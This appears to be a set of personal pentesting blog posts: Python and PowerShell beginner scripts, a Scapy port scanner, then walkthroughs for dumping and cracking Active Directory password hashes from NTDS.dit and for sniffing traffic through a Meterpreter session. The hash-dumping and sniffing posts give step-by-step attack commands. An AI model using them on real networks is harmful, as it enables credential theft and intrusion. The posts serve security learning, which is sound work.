Python Classes

As I struggled to better understand Python classes, I took a few notes from the research I did and created this example class. Hopefully this will provide some insight for those who are new to Python as well. Please post any questions or comments.

#Classes begin with the word 'class' followed by the class name
class identity:
 # Statements or functions follow, referred to as methods.
 # Method attributes always start with 'self'
 # 'self' is a temporary placeholder for the object
 # The value of the attribute 'first' is passed into the method
    def createFirst(self,first):
  # The object's value for 'first' will be assigned based on the input
        self.first = first
    def createLast(self,last):
        self.last=last
 # The objects assigned value of 'first' is returned
    def displayFirstname(self):
        return self.first
    def displayFullname(self):
        return self.first + " " + self.last
    def saying(self):
        print "Hello %s %s " % (self.first, self.last)

Once your class is created you can start to create objects that use the methods within the class.

# Associate object with class
user=identity()
# Use methods to assign values
user.createFirst('Bill')
user.createLast('Jones')
# Retrieve properties of an object
user.displayFullname()
'Bill Jones'
# Create another object that uses all the same methods of the class
user2=identity()
# If you ever forget what methods are available:
dir(user)

Python & Scapy - Simple port scanner

I have been learning more about python and taking some courses with the Pentester Academy.  One of the projects is to create a simple port scanner using scapy.  The next iteration will incorporate threading.  Hopefully you find this interesting and see the value of Python and Scapy!  Comments, suggestions, observations encouraged. Enjoy!

#!/usr/bin/python

# Import necessary modules
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import itertools
import thread

# Parse and create IP range
def ip_range(input_string):
    octets = input_string.split('.')
    chunks = [map(int, octet.split('-')) for octet in octets]
    ranges = [range(c[0], c[1] + 1) if len(c) == 2 else c for c in chunks]
    for address in itertools.product(*ranges):
        yield '.'.join(map(str, address))

# Scan each IP address with the identified port number
def scanner(ips):
    for i in ip_range(ips):
        src_port = RandShort()
        dst_port = port
        scan = sr1(IP(dst=i)/TCP(sport=src_port,dport=dst_port,flags="S"),timeout=10)
        if scan is None:
            print "This port is closed on IP: " + i
        elif(scan.haslayer(TCP)):
            if(scan.getlayer(TCP).flags==0x12):
                print "This port is open for IP: " + i
        else:
            print "Unknown state"

# Request port number from user
port = int(raw_input('Enter which port to scan --> '))

# Request IP range from user - form should follow this format '192.168.1.1-26'
ips = raw_input('Enter your range using this format x.x.x.x-x --> ')

scanner(ips)

Get-DomainAdminMembers

Here is a quick script I created that gathers Domain Admin members and emails this using an HTML formatted message.

<#

.SYNOPSIS

   <A brief description of the script>

.DESCRIPTION

   <The script gathers Domain Admin members and emails them to users specified in the script with an HTML formatted email.>

.PARAMETER <paramName>

   <None required>

.EXAMPLE

   <Get-DomainAdminMembers.ps1>

#>

# Import Module of Active Directory

Import-Module -Name ActiveDirectory

$today = (Get-Date).ToString()

# Html

$a = "<style>"

$a = $a + "BODY{background-color:Lavender ;}"

$a = $a + "TABLE{border-width: 1px;border-style: solid;border-color: black;border-collapse: collapse;}"

$a = $a + "TH{border-width: 1px;padding: 5px;border-style: solid;border-color: black;background-color:thistle}"

$a = $a + "TD{border-width: 1px;padding: 5px;border-style: solid;border-color: black;background-color:PaleGoldenrod}"

$a = $a + "</style>"

# Email Variables

$smtp = "smtp.server.com"

$to = "user@domain.com", "user2@domain.com", "user3@domain.com" 

$from = "Report Sender<report@domain.com>"

$subject = "Domain Admin Group Members"

# Run Command 

# Get Domain Admins

$Users = Get-ADGroupMember 'domain admins' | select name, samaccountname | ConvertTo-html -Head $a -Body "<H2>Domain Admin Members.</H2>"

$body = "Report Date $today ."

$body += "`n"

$body += $Users

$body += "`n"

# Send mail - If authentication is needed, you'll need to add those parameters

Send-MailMessage -SmtpServer $smtp -To $to -From $from -Subject $subject -Body $body -BodyAsHtml

Reverse Lookup - Python Style

I won't claim to be a master of Python, but thought I'd share some quick scripts I've written from my readings and hacking together snips from what I've found online.  Hopefully this will inspire others to learn a scripting language.  The code is not perfect, and I will probably want to include some error checking at some point.

#!/usr/bin/python

import optparse

import socket

from socket import *

def rlookup(tgtHost):

hostname = tgtHost

ip = gethostbyname(tgtHost)

print '[+] the IP Addres for ' + hostname + ' is: ' + ip

def main():

parser = optparse.OptionParser('usage %prog -H' +\

'<target host>')

parser.add_option('-H', dest='tgtHost', type='string', \

help='specify target host')

(options, args) = parser.parse_args()

tgtHost = options.tgtHost

rlookup(tgtHost)

if __name__ == '__main__':

main()

Post Defcon

As usual, Defcon was quite inspirational.  I have decided to dig deeper into Python so that I can better understand many of the great pentesting tools out there.  I also picked up a great book - Violent Python. I wrote this simple script after just reading the first 20 or so pages:

#!/usr/bin/python

# Import Modules

import hashlib

# Gather value to hash

v = raw_input("Enter your value: ")

print "Which hash algorithm do you want to use?"

# Select has algorithm

a = raw_input("md5, sha1, sha224, sha256, sha384, sha512: ")

# Generate hash

h = hashlib.new(a)

h.update(v)

# Present has to user

o = h.hexdigest()

print "Your hash value using the " + a + "value is: " + o

More to come!

P0wn Your DC

Intro

Without a doubt, Active Directory offers a number of advantages for maintaining your environment.  In addition to offering administrators centralized management, it offers bad guys a potential pot of gold - user hashes!  This information is stored in a database called NTDS.NIT.  Unfortunately or fortunately depending on your perspective, this file is locked on running domain controllers, so you can't simply copy this file.  Leveraging Volume Shadow Copy Service (VSS), we can use Microsoft's own technology to gather these valuable user hashes!  I will show you two methods for extracting the necessary files along with extracting and cracking the hashes.  This post is for educational purposes ONLY.  Never attempt this on a network you don't own and/or have strict permission!

Capturing The Hash

VSSOWN.VBS

This method uses a vbs script to create a backup of the Domain Controller (DC) where the critical files can be extracted.

1. Download the source code for the script from here: http://ptscripts.googlecode.com/svn/trunk/windows/vssown.vbs
2. Execute the script using the following commands:
• cscript vssown.vbs /create
• cscript vssown.vbs /list - Make note of the Device object
• 
• copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit
• copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\system32\config\system
3. Copy these two files to your pentesting machine - Kali Linux

Metasploit -  Psexec_ntdsgrab

This method utilizes Metasploit which automates the process of creating the snapshot and copying the files to the attack machine.  

1. Open an Metasploit shell and enter the following commands
• > use auxillary/admin/smb/psexec_ntdsgrab
• > set RHOST 10.211.55.3
• > set SMBPass <p@ssw0rd>
• > set SMBUser administrator
• > set CREATE_NEW_VSC true - if error of Shadow copy not found
• > run
•  
2. The following files should be located in ~/.msf4/loot
• 
3. Copy these two files (.dit & .bin) to your penetration testing machine.

Extracting The Hash

You will need two tools to extract the hashes from your captured AD files.  The first is Libesedb which allows you to read and extract the tables from the ntds.dit database file.  The second is NTDSXtract which allows you to extract the hashes from the data tables.  You will need to download the source files and compile Libesedb.

Libesedb

1. Download and compile libesedb
• wget https://code.google.com/p/libesedb/downloads/detail?name=libesedb-alpha-20120102.tar.gz
• tar xvzf libesedb-alpha-20120102.tar.gz
• cd libesedb-20120102
• make && make install
2. Using the correct path, run  esedbexport against the .dit file capture above.
3. 

 

NTDSXtract

1. Download NTDSXtract

• wget http://ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
• gunzip ntdsxtract_v1_0.zip
• cd /root/.msf4/loot/ntds.export (This is the location of the above process)
• python /root/downloads/NTDSXtract\dsusers-py ./datatable.3 ./link_table.5 --passwordhashes /root/.msf4/loot/ntds.bin
• Note - the ntds.bin file location is from the hash capturing process in the beginning of this article
• The results will provide a list of users and the associated hashes:
• 

 

Cracking The Hash

1. Now that you have the password hash for the interested user account, you can use a number of tools to potential crack the password.  I will use an online service in my example.  I will create another blog post for integrating this with tools such as John the Ripper.
2. Go to: http://crackstation.net/
3. Copy the hash into the website.  If a matching hash is found, you will be shown the related password.
• de26cce0356891a4a020e7c4957afc72
• 

 

Conclusion

There are a number of factors that can influence the success of this attack. Most notably, the complexity of the password may not be referenced in the password list used to reference the hash.  WIthout that, you will not be able to see the password.  Password lists and rainbow tables are beyond the scope of this article, but if these are foreign concepts, it would be worth your while to do a bit of research on the topic.  Below are some of the links I used to create this post:

• Pauldotcom Article - http://pauldotcom.com/2011/12/safely-dumping-hashes-now-avai.html
• Libesedb - https://code.google.com/p/libesedb/
• NTDSXtract - http://ntdsxtract.com/
• VSSOWN.VBS - https://code.google.com/p/ptscripts/source/browse/trunk/windows/vssown.vbs?r=1
• Metasploit - http://www.metasploit.com/modules/auxiliary/admin/smb/psexec_ntdsgrab

Sniff your PWNED Hosts

When you eat a cinnamon roll, don’t you save the center for last? Lick a Tootsie Pop for the  chocolate in the middle?  Attack (Pentest) a host to gain access to the internal network?

If you answered yes, then you’ll enjoy this quick post.  We’ll be using an extension of Metasploit – Sniffer.  Lets assume you’ve already compromised your target and have a Meterpreter shell.

Step 1 – Enable Extension = load sniffer

 

Step 2 – Start sniffing = sniffer_start [interface] [packet buffer]

Step 3 – Monitor Statistics = sniffer_stats [interface]

Step 4 – Log into host remotely.  In this example we are using FTP to keep it simple.  We will look at stats again to see if it increments.

Notice the increase:

Step 5 – Download the packet captures = sniffer_dump [interface] [filename]

Step 6 – Open downloaded file in Wireshark and look for sensitive information.

Step 7 – Stop sniffer = sniffer_stop [interface]

This is a very simple example, but think of the possibilities.  We tend to have a warm and fuzzy feeling inside our networks since we are behind a firewall and have layers of security.  As you’ll see, there are other attacks that can pivot from your compromised hosts.  Again, comments and suggestions welcome.